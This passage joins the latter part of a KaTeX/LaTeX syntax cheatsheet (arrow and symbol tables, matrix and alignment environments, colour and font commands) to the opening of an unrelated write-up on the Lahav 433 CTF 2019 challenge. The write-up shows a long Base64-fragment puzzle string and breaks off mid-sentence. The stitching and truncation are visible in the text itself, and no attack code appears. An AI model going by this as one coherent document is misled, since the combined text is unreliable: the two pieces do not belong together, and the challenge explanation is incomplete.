<pur>`\downharpoonleft`</pur> | `KaTeX:\longmapsto` | <pur>`\longmapsto`</pur> | `KaTeX:\Rrightarrow` | <pur>`\Rrightarrow`</pur> `KaTeX:\downharpoonright` | <pur>`\downharpoonright`</pur> | `KaTeX:\longrightarrow` | <pur>`\longrightarrow`</pur> | `KaTeX:\Rsh` | <pur>`\Rsh`</pur> `KaTeX:\gets` | <pur>`\gets`</pur> | `KaTeX:\Longrightarrow` | <pur>`\Longrightarrow`</pur> | `KaTeX:\searrow` | <pur>`\searrow`</pur> `KaTeX:\Harr` | <pur>`\Harr`</pur> | `KaTeX:\looparrowleft` | <pur>`\looparrowleft`</pur> | `KaTeX:\swarrow` | <pur>`\swarrow`</pur> `KaTeX:\hArr` | <pur>`\hArr`</pur> | `KaTeX:\looparrowright` | <pur>`\looparrowright`</pur> | `KaTeX:\to` | <pur>`\to`</pur> `KaTeX:\harr` | <pur>`\harr`</pur> | `KaTeX:\Lrarr` | <pur>`\Lrarr`</pur> | `KaTeX:\twoheadleftarrow` | <pur>`\twoheadleftarrow`</pur> `KaTeX:\hookleftarrow` | <pur>`\hookleftarrow`</pur> | `KaTeX:\lrArr` | <pur>`\lrArr`</pur> | `KaTeX:\twoheadrightarrow` | <pur>`\twoheadrightarrow`</pur> `KaTeX:\hookrightarrow` | <pur>`\hookrightarrow`</pur> | `KaTeX:\lrarr` | <pur>`\lrarr`</pur> | `KaTeX:\Uarr` | <pur>`\Uarr`</pur> `KaTeX:\iff` | <pur>`\iff`</pur> | `KaTeX:\Lsh` | <pur>`\Lsh`</pur> | `KaTeX:\uArr` | <pur>`\uArr`</pur> `KaTeX:\impliedby` | <pur>`\impliedby`</pur> | `KaTeX:\mapsto` | <pur>`\mapsto`</pur> | `KaTeX:\uarr` | <pur>`\uarr`</pur> `KaTeX:\implies` | <pur>`\implies`</pur> | `KaTeX:\nearrow` | <pur>`\nearrow`</pur> | `KaTeX:\uparrow` | <pur>`\uparrow`</pur> `KaTeX:\Larr` | <pur>`\Larr`</pur> | `KaTeX:\nleftarrow` | <pur>`\nleftarrow`</pur> | `KaTeX:\Uparrow` | <pur>`\Uparrow`</pur> `KaTeX:\lArr` | <pur>`\lArr`</pur> | `KaTeX:\nLeftarrow` | <pur>`\nLeftarrow`</pur> | `KaTeX:\updownarrow` | <pur>`\updownarrow`</pur> `KaTeX:\larr` | <pur>`\larr`</pur> | `KaTeX:\nleftrightarrow` | <pur>`\nleftrightarrow`</pur> | `KaTeX:\Updownarrow` | <pur>`\Updownarrow`</pur> `KaTeX:\leadsto` | <pur>`\leadsto`</pur> | `KaTeX:\nLeftrightarrow` | <pur>`\nLeftrightarrow`</pur> | `KaTeX:\upharpoonleft` | <pur>`\upharpoonleft`</pur> `KaTeX:\leftarrow` | <pur>`\leftarrow`</pur> | `KaTeX:\nrightarrow` | <pur>`\nrightarrow`</pur> | `KaTeX:\upharpoonright` | <pur>`\upharpoonright`</pur> `KaTeX:\Leftarrow` | <pur>`\Leftarrow`</pur> | `KaTeX:\nRightarrow` | <pur>`\nRightarrow`</pur> | `KaTeX:\upuparrows` | <pur>`\upuparrows`</pur> `KaTeX:\leftarrowtail` | <pur>`\leftarrowtail`</pur> | `KaTeX:\nwarrow` | <pur>`\nwarrow`</pur> `KaTeX:\leftharpoondown` | <pur>`\leftharpoondown`</pur> | `KaTeX:\Rarr` | <pur>`\Rarr`</pur> {.left-align} ### 可扩展箭头 {.col-span-3} :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- `KaTeX:\xleftarrow{abc}` | <pur>`\xleftarrow{abc}`</pur> | `KaTeX:\xrightarrow[under]{over}` | <pur>`\xrightarrow[under]{over}`</pur> | `KaTeX:\xLeftarrow{abc}` | <pur>`\xLeftarrow{abc}`</pur> | `KaTeX:\xRightarrow{abc}` | <pur>`\xRightarrow{abc}`</pur> | `KaTeX:\xleftrightarrow{abc}` | <pur>`\xleftrightarrow{abc}`</pur> | `KaTeX:\xLeftrightarrow{abc}` | <pur>`\xLeftrightarrow{abc}`</pur> | `KaTeX:\xhookleftarrow{abc}` | <pur>`\xhookleftarrow{abc}`</pur> | `KaTeX:\xhookrightarrow{abc}` | <pur>`\xhookrightarrow{abc}`</pur> | `KaTeX:\xtwoheadleftarrow{abc}` | <pur>`\xtwoheadleftarrow{abc}`</pur> | `KaTeX:\xtwoheadrightarrow{abc}` | <pur>`\xtwoheadrightarrow{abc}`</pur> | `KaTeX:\xleftharpoonup{abc}` | <pur>`\xleftharpoonup{abc}`</pur> | `KaTeX:\xrightharpoonup{abc}` | <pur>`\xrightharpoonup{abc}`</pur> | `KaTeX:\xleftharpoondown{abc}` | <pur>`\xleftharpoondown{abc}`</pur> | `KaTeX:\xrightharpoondown{abc}` | <pur>`\xrightharpoondown{abc}`</pur> | `KaTeX:\xleftrightharpoons{abc}` | <pur>`\xleftrightharpoons{abc}`</pur> | `KaTeX:\xrightleftharpoons{abc}` | <pur>`\xrightleftharpoons{abc}`</pur> | `KaTeX:\xtofrom{abc}` | <pur>`\xtofrom{abc}`</pur> | `KaTeX:\xmapsto{abc}` | <pur>`\xmapsto{abc}`</pur> | `KaTeX:\xlongequal{abc}` | <pur>`\xlongequal{abc}`</pur> | Symbols and Punctuation --- ### Symbols and Punctuation {.col-span-3} :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- `KaTeX:% comment` | <pur>`% comment`</pur> | `KaTeX:\dots` | <pur>`\dots`</pur> | `KaTeX:\KaTeX` | <pur>`\KaTeX`</pur> | `KaTeX:\%` | <pur>`\%`</pur> | `KaTeX:\cdots` | <pur>`\cdots`</pur> | `KaTeX:\LaTeX` | <pur>`\LaTeX`</pur> | `KaTeX:\#` | <pur>`\#`</pur> | `KaTeX:\ddots` | <pur>`\ddots`</pur> | `KaTeX:\TeX` | <pur>`\TeX`</pur> | `KaTeX:\&` | <pur>`\&`</pur> | `KaTeX:\ldots` | <pur>`\ldots`</pur> | `KaTeX:\nabla` | <pur>`\nabla`</pur> | `KaTeX:\_` | <pur>`\_`</pur> | `KaTeX:\vdots` | <pur>`\vdots`</pur> | `KaTeX:\infty` | <pur>`\infty`</pur> | `KaTeX:\text{\textunderscore}` | <pur>`\text{\textunderscore}`</pur> | `KaTeX:\dotsb` | <pur>`\dotsb`</pur> | `KaTeX:\infin` | <pur>`\infin`</pur> | `KaTeX:\text{--}` | <pur>`\text{--}`</pur> | `KaTeX:\dotsc` | <pur>`\dotsc`</pur> | `KaTeX:\checkmark` | <pur>`\checkmark`</pur> | `KaTeX:\text{\textendash}` | <pur>`\text{\textendash}`</pur> | `KaTeX:\dotsi` | <pur>`\dotsi`</pur> | `KaTeX:\dag` | <pur>`\dag`</pur> | `KaTeX:\text{---}` | <pur>`\text{---}`</pur> | `KaTeX:\dotsm` | <pur>`\dotsm`</pur> | `KaTeX:\dagger` | <pur>`\dagger`</pur> | `KaTeX:\text{\textemdash}` | <pur>`\text{\textemdash}`</pur> | `KaTeX:\dotso` | <pur>`\dotso`</pur> | `KaTeX:\text{\textdagger}` | <pur>`\text{\textdagger}`</pur> | `KaTeX:\text{\textasciitilde}` | <pur>`\text{\textasciitilde}`</pur> | `KaTeX:\sdot` | <pur>`\sdot`</pur> | `KaTeX:\ddag` | <pur>`\ddag`</pur> | `KaTeX:\text{\textasciicircum}` | <pur>`\text{\textasciicircum}`</pur> | `KaTeX:\mathellipsis` | <pur>`\mathellipsis`</pur> | `KaTeX:\ddagger` | <pur>`\ddagger`</pur> | | <code>KaTeX:\`</code> | <pur>\`</pur> | `KaTeX:\text{\textellipsis}` | <pur>`\text{\textellipsis}`</pur> | `KaTeX:\text{\textdaggerdbl}` | <pur>`\text{\textdaggerdbl}`</pur> | `KaTeX:\text{\textquoteleft}` | <pur>`text{\textquoteleft}`</pur> | `KaTeX:\Box` | <pur>`\Box`</pur> | `KaTeX:\Dagger` | <pur>`\Dagger`</pur> | `KaTeX:\lq` | <pur>`\lq`</pur> | `KaTeX:\square` | <pur>`\square`</pur> | `KaTeX:\angle` | <pur>`\angle`</pur> | `KaTeX:\text{\textquoteright}` | <pur>`\text{\textquoteright}`</pur> | `KaTeX:\blacksquare` | <pur>`\blacksquare`</pur> | `KaTeX:\measuredangle` | <pur>`\measuredangle`</pur> | `KaTeX:\rq` | <pur>`\rq`</pur> | `KaTeX:\triangle` | <pur>`\triangle`</pur> | `KaTeX:\sphericalangle` | <pur>`\sphericalangle`</pur> | `KaTeX:\text{\textquotedblleft}` | <pur>`\text{\textquotedblleft}`</pur> | `KaTeX:\triangledown` | <pur>`\triangledown`</pur> | `KaTeX:\top` | <pur>`\top`</pur> | `KaTeX:"` | <pur>`"`</pur> | `KaTeX:\triangleleft` | <pur>`\triangleleft`</pur> | `KaTeX:\bot` | <pur>`\bot`</pur> | `KaTeX:\text{\textquotedblright}` | <pur>`\text{\textquotedblright}`</pur> | `KaTeX:\triangleright` | <pur>`\triangleright`</pur> | `KaTeX:\$` | <pur>`\$`</pur> | `KaTeX:\colon` | <pur>`\colon`</pur> | `KaTeX:\bigtriangledown` | <pur>`\bigtriangledown`</pur> | `KaTeX:\text{\textdollar}` | <pur>`\text{\textdollar}`</pur> | `KaTeX:\backprime` | <pur>`\backprime`</pur> | `KaTeX:\bigtriangleup` | <pur>`\bigtriangleup`</pur> | `KaTeX:\pounds` | <pur>`\pounds`</pur> | `KaTeX:\prime` | <pur>`\prime`</pur> | `KaTeX:\blacktriangle` | <pur>`\blacktriangle`</pur> | `KaTeX:\mathsterling` | <pur>`\mathsterling`</pur> | `KaTeX:\text{\textless}` | <pur>`\text{\textless}`</pur> | `KaTeX:\blacktriangledown` | <pur>`\blacktriangledown`</pur> | `KaTeX:\text{\textsterling}` | <pur>`\text{\textsterling}`</pur> | `KaTeX:\text{\textgreater}` | <pur>`\text{\textgreater}`</pur> | `KaTeX:\blacktriangleleft` | <pur>`\blacktriangleleft`</pur> | `KaTeX:\yen` | <pur>`\yen`</pur> | `KaTeX:\text{\textbar}` | <pur>`\text{\textbar}`</pur> | `KaTeX:\blacktriangleright` | <pur>`\blacktriangleright`</pur> | `KaTeX:\surd` | <pur>`\surd`</pur> | `KaTeX:\text{\textbardbl}` | <pur>`\text{\textbardbl}`</pur> | `KaTeX:\diamond` | <pur>`\diamond`</pur> | `KaTeX:\degree` | <pur>`\degree`</pur> | `KaTeX:\text{\textbraceleft}` | <pur>`\text{\textbraceleft}`</pur> | `KaTeX:\Diamond` | <pur>`\Diamond`</pur> | `KaTeX:\text{\textdegree}` | <pur>`\text{\textdegree}`</pur> | `KaTeX:\text{\textbraceright}` | <pur>`\text{\textbraceright}`</pur> | `KaTeX:\lozenge` | <pur>`\lozenge`</pur> | `KaTeX:\mho` | <pur>`\mho`</pur> | `KaTeX:\text{\textbackslash}` | <pur>`\text{\textbackslash}`</pur> | `KaTeX:\blacklozenge` | <pur>`\blacklozenge`</pur> | `KaTeX:\diagdown` | <pur>`\diagdown`</pur> | `KaTeX:\text{\P}` | <pur>`\text{\P}`</pur> or <pur>`\P`</pur> | `KaTeX:\star` | <pur>`\star`</pur> | `KaTeX:\diagup` | <pur>`\diagup`</pur> | `KaTeX:\text{\S}` | <pur>`\text{\S}`</pur> or <pur>`\S`</pur> | `KaTeX:\bigstar` | <pur>`\bigstar`</pur> | `KaTeX:\flat` | <pur>`\flat`</pur> | `KaTeX:\text{\sect}` | <pur>`\text{\sect}`</pur> | `KaTeX:\clubsuit` | <pur>`\clubsuit`</pur> | `KaTeX:\natural` | <pur>`\natural`</pur> | `KaTeX:\copyright` | <pur>`\copyright`</pur> | `KaTeX:\clubs` | <pur>`\clubs`</pur> | `KaTeX:\sharp` | <pur>`\sharp`</pur> | `KaTeX:\circledR` | <pur>`\circledR`</pur> | `KaTeX:\diamondsuit` | <pur>`\diamondsuit`</pur> | `KaTeX:\heartsuit` | <pur>`\heartsuit`</pur> | `KaTeX:\text{\textregistered}` | <pur>`\text{\textregistered}`</pur> | `KaTeX:\diamonds` | <pur>`\diamonds`</pur> | `KaTeX:\hearts` | <pur>`\hearts`</pur> | `KaTeX:\circledS` | <pur>`\circledS`</pur> | `KaTeX:\spadesuit` | <pur>`\spadesuit`</pur> | `KaTeX:\spades` | <pur>`\spades`</pur> | `KaTeX:\text{\textcircled a}` | <pur>`\text{\textcircled a}`</pur> | `KaTeX:\maltese` | <pur>`\maltese`</pur> | `KaTeX:\minuso` | <pur>`\minuso`</pur> | Environments --- ### Environments 1 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{matrix} a & b \\ c & d \end{matrix} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{matrix} a & b \\ c & d \end{matrix} ``` <!--rehype:style=flex:1;--> ### Environments 2 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{array}{cc} a & b \\ c & d \end{array} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{array}{cc} a & b \\ c & d \end{array} ``` ### Environments 3 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{pmatrix} a & b \\ c & d \end{pmatrix} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{pmatrix} a & b \\ c & d \end{pmatrix} ``` <!--rehype:style=flex:1;--> ### Environments 4 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{bmatrix} a & b \\ c & d \end{bmatrix} ``` ```LaTeX \begin{bmatrix} a & b \\ c & d \end{bmatrix} ``` ### Environments 5 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{vmatrix} a & b \\ c & d \end{vmatrix} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{vmatrix} a & b \\ c & d \end{vmatrix} ``` <!--rehype:style=flex:1;--> ### Environments 6 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{Vmatrix} a & b \\ c & d \end{Vmatrix} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{Vmatrix} a & b \\ c & d \end{Vmatrix} ``` <!--rehype:style=flex:1;--> ### Environments 7 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{Bmatrix} a & b \\ c & d \end{Bmatrix} ``` ```LaTeX \begin{Bmatrix} a & b \\ c & d \end{Bmatrix} ``` ### Environments 8 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \def\arraystretch{1.5} \begin{array}{c:c:c} a & b & c \\ \hline d & e & f \\ \hdashline g & h & i \end{array} ``` <!--rehype:style=flex:1;--> ```LaTeX \def\arraystretch{1.5} \begin{array}{c:c:c} a & b & c \\ \hline d & e & f \\ \hdashline g & h & i \end{array} ``` ### Environments 9 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX x = \begin{cases} a &\text{if } b \\ c &\text{if } d \end{cases} ``` ```LaTeX x = \begin{cases} a &\text{if } b \\ c &\text{if } d \end{cases} ``` ### Environments 10 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{rcases} a &\text{if } b \\ c &\text{if } d \end{rcases}⇒… ``` ```LaTeX \begin{rcases} a &\text{if } b \\ c &\text{if } d \end{rcases}⇒… ``` ### Environments 11 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{smallmatrix} a & b \\ c & d \end{smallmatrix} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{smallmatrix} a & b \\ c & d \end{smallmatrix} ``` ### Environments 12 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \sum_{ \begin{subarray}{l} i\in\Lambda\\ 0<j<n \end{subarray}} ``` <!--rehype:style=flex:1;--> ```LaTeX \sum_{ \begin{subarray}{l} i\in\Lambda\\ 0<j<n \end{subarray}} ``` ### Environments 13 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{equation} \begin{split} a &=b+c\\ &=e+f \end{split} \end{equation} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{equation} \begin{split} a &=b+c\\ &=e+f \end{split} \end{equation} ``` ### Environments 14 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{align} a&=b+c \\ d+e&=f \end{align} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{align} a&=b+c \\ d+e&=f \end{align} ``` ### Environments 15 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{gather} a=b \\ e=b+c \end{gather} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{gather} a=b \\ e=b+c \end{gather} ``` ### Environments 16 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{alignat}{2} 10&x+&3&y=2\\ 3&x+&13&y=4 \end{alignat} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{alignat}{2} 10&x+&3&y=2\\ 3&x+&13&y=4 \end{alignat} ``` ### Environments 17 <!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;--> ```KaTeX \begin{CD} A @>a>> B \\ @VbVV @AAcA \\ C @= D \end{CD} ``` <!--rehype:style=flex:1;--> ```LaTeX \begin{CD} A @>a>> B \\ @VbVV @AAcA \\ C @= D \end{CD} ``` Style, Color, Size and Font --- ### Color :- | :- :- | :- `KaTeX:\color{blue} F=ma` | <pur>`\color{blue} F=ma`</pur> `KaTeX:\textcolor{blue}{F=ma}` | <pur>`\textcolor{blue}{F=ma}`</pur> `KaTeX:\textcolor{#228B22}{F=ma}` | <pur>`\textcolor{#228B22}{F=ma}`</pur> `KaTeX:\colorbox{aqua}{$F=ma$}` | <pur>`\colorbox{aqua}{$F=ma$}`</pur> `KaTeX:\fcolorbox{red}{aqua}{$F=ma$}` | <pur>`\fcolorbox{red}{aqua}{$F=ma$}`</pur> ### Font {.col-span-2} :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- `KaTeX:\Huge AB` | <pur>`\Huge AB`</pur> | `KaTeX:\normalsize AB` | <pur>`\normalsize AB`</pur> | `KaTeX:\normalsize AB` | <pur>\normalsize AB</pur> `KaTeX:\huge AB` | <pur>`\huge AB`</pur> | `KaTeX:\huge AB` | <pur>`\huge AB`</pur> | `KaTeX:\small AB` | <pur>\small AB</pur> `KaTeX:\LARGE AB` | <pur>`\LARGE AB`</pur> | `KaTeX:\LARGE AB` | <pur>`\LARGE AB`</pur> | `KaTeX:\footnotesize AB` | <pur>\footnotesize AB</pur> `KaTeX:\Large AB` | <pur>`\Large AB`</pur> | `KaTeX:\Large AB` | <pur>`\Large AB`</pur> | `KaTeX:\scriptsize AB` | <pur>\scriptsize AB</pur> `KaTeX:\large AB` | <pur>`\large AB`</pur> | `KaTeX:\large AB` | <pur>`\large AB`</pur> | `KaTeX:\tiny AB` | <pur>\tiny AB</pur> ### Style {.col-span-3} :- | :- | :- | :- :- | :- | :- | :- `KaTeX:\displaystyle\sum_{i=1}^n` | <pur>\displaystyle\sum_{i=1}^n</pur> | `KaTeX:\textstyle\sum_{i=1}^n` | <pur>\textstyle\sum_{i=1}^n</pur> `KaTeX:\scriptstyle x` | <pur>\scriptstyle x</pur> | `KaTeX:\scriptscriptstyle x` | <pur>\scriptscriptstyle x</pur> `KaTeX:\lim\limits_x` | <pur>\lim\limits_x</pur> | `KaTeX:\lim\nolimits_x` | <pur>\lim\nolimits_x</pur> `KaTeX:\verb!x^2!` | <pur>\verb!x^2!</pur> Also See ---- - [LaTeX official website](https://www.latex-project.org/) _(latex-project.org)_ - [KaTeX official website](https://katex.org/) _(katex.org)_ - [symbols.pdf](https://www.cmor-faculty.rice.edu/~heinken/latex/symbols.pdf) _(cmor-faculty.rice.edu)_
sec-knowleage
# Lahav 433 CTF - אתגר להב 433 - 2019 The challenge begins with the following text pasted to a pastebin: ``` MA==LA==MA==IA==NA==LA==NA==IA==NQ==LA==NA==IA==Ng==LA==NA==IA==Nw==LA==NA==IA==OA==LA==NA==IA==OQ==LA==NA==IA==MTA=LA==NA==IA==MTM=LA==NA==IA==MjA=LA==NA==IA==MjI=LA==NA==IA==MjM=LA==NA==IA==MjQ=LA==NA==IA==MjU=LA==NA==IA==MjY=LA==NA==IA==Mjc=LA==NA==IA==Mjg=LA==NA==IA==NA==LA==NQ==IA==MTA=LA==NQ==IA==MTI=LA==NQ==IA==MTM=LA==NQ==IA==MTU=LA==NQ==IA==MTY=LA==NQ==IA==MTc=LA==NQ==IA==MTk=LA==NQ==IA==MjI=LA==NQ==IA==Mjg=LA==NQ==IA==NA==LA==Ng==IA==Ng==LA==Ng==IA==Nw==LA==Ng==IA==OA==LA==Ng==IA==MTA=LA==Ng==IA==MTM=LA==Ng==IA==MTQ=LA==Ng==IA==MTU=LA==Ng==IA==MjI=LA==Ng==IA==MjQ=LA==Ng==IA==MjU=LA==Ng==IA==MjY=LA==Ng==IA==Mjg=LA==Ng==IA==NA==LA==Nw==IA==Ng==LA==Nw==IA==Nw==LA==Nw==IA==OA==LA==Nw==IA==MTA=LA==Nw==IA==MTI=LA==Nw==IA==MTM=LA==Nw==IA==MTU=LA==Nw==IA==MTc=LA==Nw==IA==MTk=LA==Nw==IA==MjI=LA==Nw==IA==MjQ=LA==Nw==IA==MjU=LA==Nw==IA==MjY=LA==Nw==IA==Mjg=LA==Nw==IA==NA==LA==OA==IA==Ng==LA==OA==IA==Nw==LA==OA==IA==OA==LA==OA==IA==MTA=LA==OA==IA==MTQ=LA==OA==IA==MTY=LA==OA==IA==MTg=LA==OA==IA==MjA=LA==OA==IA==MjI=LA==OA==IA==MjQ=LA==OA==IA==MjU=LA==OA==IA==MjY=LA==OA==IA==Mjg=LA==OA==IA==NA==LA==OQ==IA==MTA=LA==OQ==IA==MTI=LA==OQ==IA==MTQ=LA==OQ==IA==MTc=LA==OQ==IA==MTk=LA==OQ==IA==MjA=LA==OQ==IA==MjI=LA==OQ==IA==Mjg=LA==OQ==IA==NA==LA==MTA=IA==NQ==LA==MTA=IA==Ng==LA==MTA=IA==Nw==LA==MTA=IA==OA==LA==MTA=IA==OQ==LA==MTA=IA==MTA=LA==MTA=IA==MTI=LA==MTA=IA==MTQ=LA==MTA=IA==MTY=LA==MTA=IA==MTg=LA==MTA=IA==MjA=LA==MTA=IA==MjI=LA==MTA=IA==MjM=LA==MTA=IA==MjQ=LA==MTA=IA==MjU=LA==MTA=IA==MjY=LA==MTA=IA==Mjc=LA==MTA=IA==Mjg=LA==MTA=IA==MTY=LA==MTE=IA==MTg=LA==MTE=IA==MjA=LA==MTE=IA==NA==LA==MTI=IA==NQ==LA==MTI=IA==Ng==LA==MTI=IA==Nw==LA==MTI=IA==OA==LA==MTI=IA==MTA=LA==MTI=IA==MTE=LA==MTI=IA==MTI=LA==MTI=IA==MTM=LA==MTI=IA==MTQ=LA==MTI=IA==MTY=LA==MTI=IA==MTc=LA==MTI=IA==MjE=LA==MTI=IA==MjM=LA==MTI=IA==MjU=LA==MTI=IA==Mjc=LA==MTI=IA==NQ==LA==MTM=IA==Ng==LA==MTM=IA==Nw==LA==MTM=IA==OA==LA==MTM=IA==OQ==LA==MTM=IA==MTI=LA==MTM=IA==MTM=LA==MTM=IA==MTg=LA==MTM=IA==MjM=LA==MTM=IA==Mjc=LA==MTM=IA==NA==LA==MTQ=IA==Nw==LA==MTQ=IA==MTA=LA==MTQ=IA==MTE=LA==MTQ=IA==MTI=LA==MTQ=IA==MTM=LA==MTQ=IA==MTU=LA==MTQ=IA==MTY=LA==MTQ=IA==MTc=LA==MTQ=IA==MTk=LA==MTQ=IA==MjA=LA==MTQ=IA==MjE=LA==MTQ=IA==MjI=LA==MTQ=IA==MjQ=LA==MTQ=IA==MjU=LA==MTQ=IA==Mjc=LA==MTQ=IA==Mjg=LA==MTQ=IA==NQ==LA==MTU=IA==Ng==LA==MTU=IA==OQ==LA==MTU=IA==MTI=LA==MTU=IA==MTM=LA==MTU=IA==MTQ=LA==MTU=IA==MTU=LA==MTU=IA==MTg=LA==MTU=IA==MTk=LA==MTU=IA==MjA=LA==MTU=IA==MjE=LA==MTU=IA==MjI=LA==MTU=IA==MjM=LA==MTU=IA==MjQ=LA==MTU=IA==Mjg=LA==MTU=IA==NA==LA==MTY=IA==NQ==LA==MTY=IA==Ng==LA==MTY=IA==MTA=LA==MTY=IA==MTE=LA==MTY=IA==MTI=LA==MTY=IA==MTM=LA==MTY=IA==MTU=LA==MTY=IA==MTc=LA==MTY=IA==MTk=LA==MTY=IA==MjE=LA==MTY=IA==MjI=LA==MTY=IA==MjQ=LA==MTY=IA==MjY=LA==MTY=IA==Mjc=LA==MTY=IA==Mjg=LA==MTY=IA==NA==LA==MTc=IA==Ng==LA==MTc=IA==Nw==LA==MTc=IA==OQ==LA==MTc=IA==MTM=LA==MTc=IA==MTQ=LA==MTc=IA==MTY=LA==MTc=IA==MTc=LA==MTc=IA==MTg=LA==MTc=IA==MjA=LA==MTc=IA==MjU=LA==MTc=IA==Mjc=LA==MTc=IA==NA==LA==MTg=IA==Ng==LA==MTg=IA==Nw==LA==MTg=IA==OQ==LA==MTg=IA==MTA=LA==MTg=IA==MTI=LA==MTg=IA==MTQ=LA==MTg=IA==MTk=LA==MTg=IA==MjA=LA==MTg=IA==MjI=LA==MTg=IA==MjU=LA==MTg=IA==Mjc=LA==MTg=IA==Mjg=LA==MTg=IA==NA==LA==MTk=IA==Ng==LA==MTk=IA==OA==LA==MTk=IA==OQ==LA==MTk=IA==MTM=LA==MTk=IA==MTQ=LA==MTk=IA==MTY=LA==MTk=IA==MTk=LA==MTk=IA==MjA=LA==MTk=IA==MjE=LA==MTk=IA==MjI=LA==MTk=IA==MjM=LA==MTk=IA==MjQ=LA==MTk=IA==MjU=LA==MTk=IA==Mjg=LA==MTk=IA==NA==LA==MjA=IA==Ng==LA==MjA=IA==Nw==LA==MjA=IA==OQ==LA==MjA=IA==MTA=LA==MjA=IA==MTE=LA==MjA=IA==MTQ=LA==MjA=IA==MTY=LA==MjA=IA==MTg=LA==MjA=IA==MjA=LA==MjA=IA==MjE=LA==MjA=IA==MjI=LA==MjA=IA==MjM=LA==MjA=IA==MjQ=LA==MjA=IA==MjY=LA==MjA=IA==MTI=LA==MjE=IA==MTM=LA==MjE=IA==MTQ=LA==MjE=IA==MTc=LA==MjE=IA==MTk=LA==MjE=IA==MjA=LA==MjE=IA==MjQ=LA==MjE=IA==MjU=LA==MjE=IA==MjY=LA==MjE=IA==NA==LA==MjI=IA==NQ==LA==MjI=IA==Ng==LA==MjI=IA==Nw==LA==MjI=IA==OA==LA==MjI=IA==OQ==LA==MjI=IA==MTA=LA==MjI=IA==MTI=LA==MjI=IA==MTQ=LA==MjI=IA==MTU=LA==MjI=IA==MTY=LA==MjI=IA==MTc=LA==MjI=IA==MTg=LA==MjI=IA==MjA=LA==MjI=IA==MjI=LA==MjI=IA==MjQ=LA==MjI=IA==MjU=LA==MjI=IA==MjY=LA==MjI=IA==Mjc=LA==MjI=IA==Mjg=LA==MjI=IA==NA==LA==MjM=IA==MTA=LA==MjM=IA==MTM=LA==MjM=IA==MTU=LA==MjM=IA==MTg=LA==MjM=IA==MjA=LA==MjM=IA==MjQ=LA==MjM=IA==MjU=LA==MjM=IA==NA==LA==MjQ=IA==Ng==LA==MjQ=IA==Nw==LA==MjQ=IA==OA==LA==MjQ=IA==MTA=LA==MjQ=IA==MTI=LA==MjQ=IA==MTU=LA==MjQ=IA==MTk=LA==MjQ=IA==MjA=LA==MjQ=IA==MjE=LA==MjQ=IA==MjI=LA==MjQ=IA==MjM=LA==MjQ=IA==MjQ=LA==MjQ=IA==MjU=LA==MjQ=IA==MjY=LA==MjQ=IA==Mjc=LA==MjQ=IA==Mjg=LA==MjQ=IA==NA==LA==MjU=IA==Ng==LA==MjU=IA==Nw==LA==MjU=IA==OA==LA==MjU=IA==MTA=LA==MjU=IA==MTI=LA==MjU=IA==MTM=LA==MjU=IA==MTQ=LA==MjU=IA==MTY=LA==MjU=IA==MTc=LA==MjU=IA==MTk=LA==MjU=IA==MjA=LA==MjU=IA==MjE=LA==MjU=IA==MjI=LA==MjU=IA==MjQ=LA==MjU=IA==MjY=LA==MjU=IA==Mjc=LA==MjU=IA==Mjg=LA==MjU=IA==NA==LA==MjY=IA==Ng==LA==MjY=IA==Nw==LA==MjY=IA==OA==LA==MjY=IA==MTA=LA==MjY=IA==MTI=LA==MjY=IA==MTc=LA==MjY=IA==MTg=LA==MjY=IA==MjA=LA==MjY=IA==MjM=LA==MjY=IA==MjY=LA==MjY=IA==Mjg=LA==MjY=IA==NA==LA==Mjc=IA==MTA=LA==Mjc=IA==MTI=LA==Mjc=IA==MTQ=LA==Mjc=IA==MTY=LA==Mjc=IA==MTc=LA==Mjc=IA==MTk=LA==Mjc=IA==MjA=LA==Mjc=IA==MjE=LA==Mjc=IA==MjI=LA==Mjc=IA==MjM=LA==Mjc=IA==MjQ=LA==Mjc=IA==MjU=LA==Mjc=IA==Mjg=LA==Mjc=IA==NA==LA==Mjg=IA==NQ==LA==Mjg=IA==Ng==LA==Mjg=IA==Nw==LA==Mjg=IA==OA==LA==Mjg=IA==OQ==LA==Mjg=IA==MTA=LA==Mjg=IA==MTI=LA==Mjg=IA==MTY=LA==Mjg=IA==MTg=LA==Mjg=IA==MTk=LA==Mjg=IA==MjI=LA==Mjg=IA==MjM=LA==Mjg=IA==MjQ=LA==Mjg=IA==MjU=LA==Mjg=IA==MjY=LA==Mjg=IA==Mjc=LA==Mjg=IA==Mjg=LA==Mjg=IA== .svg ``` The `==` signs look like Base64 padding. If we try to decode the first snippet, we 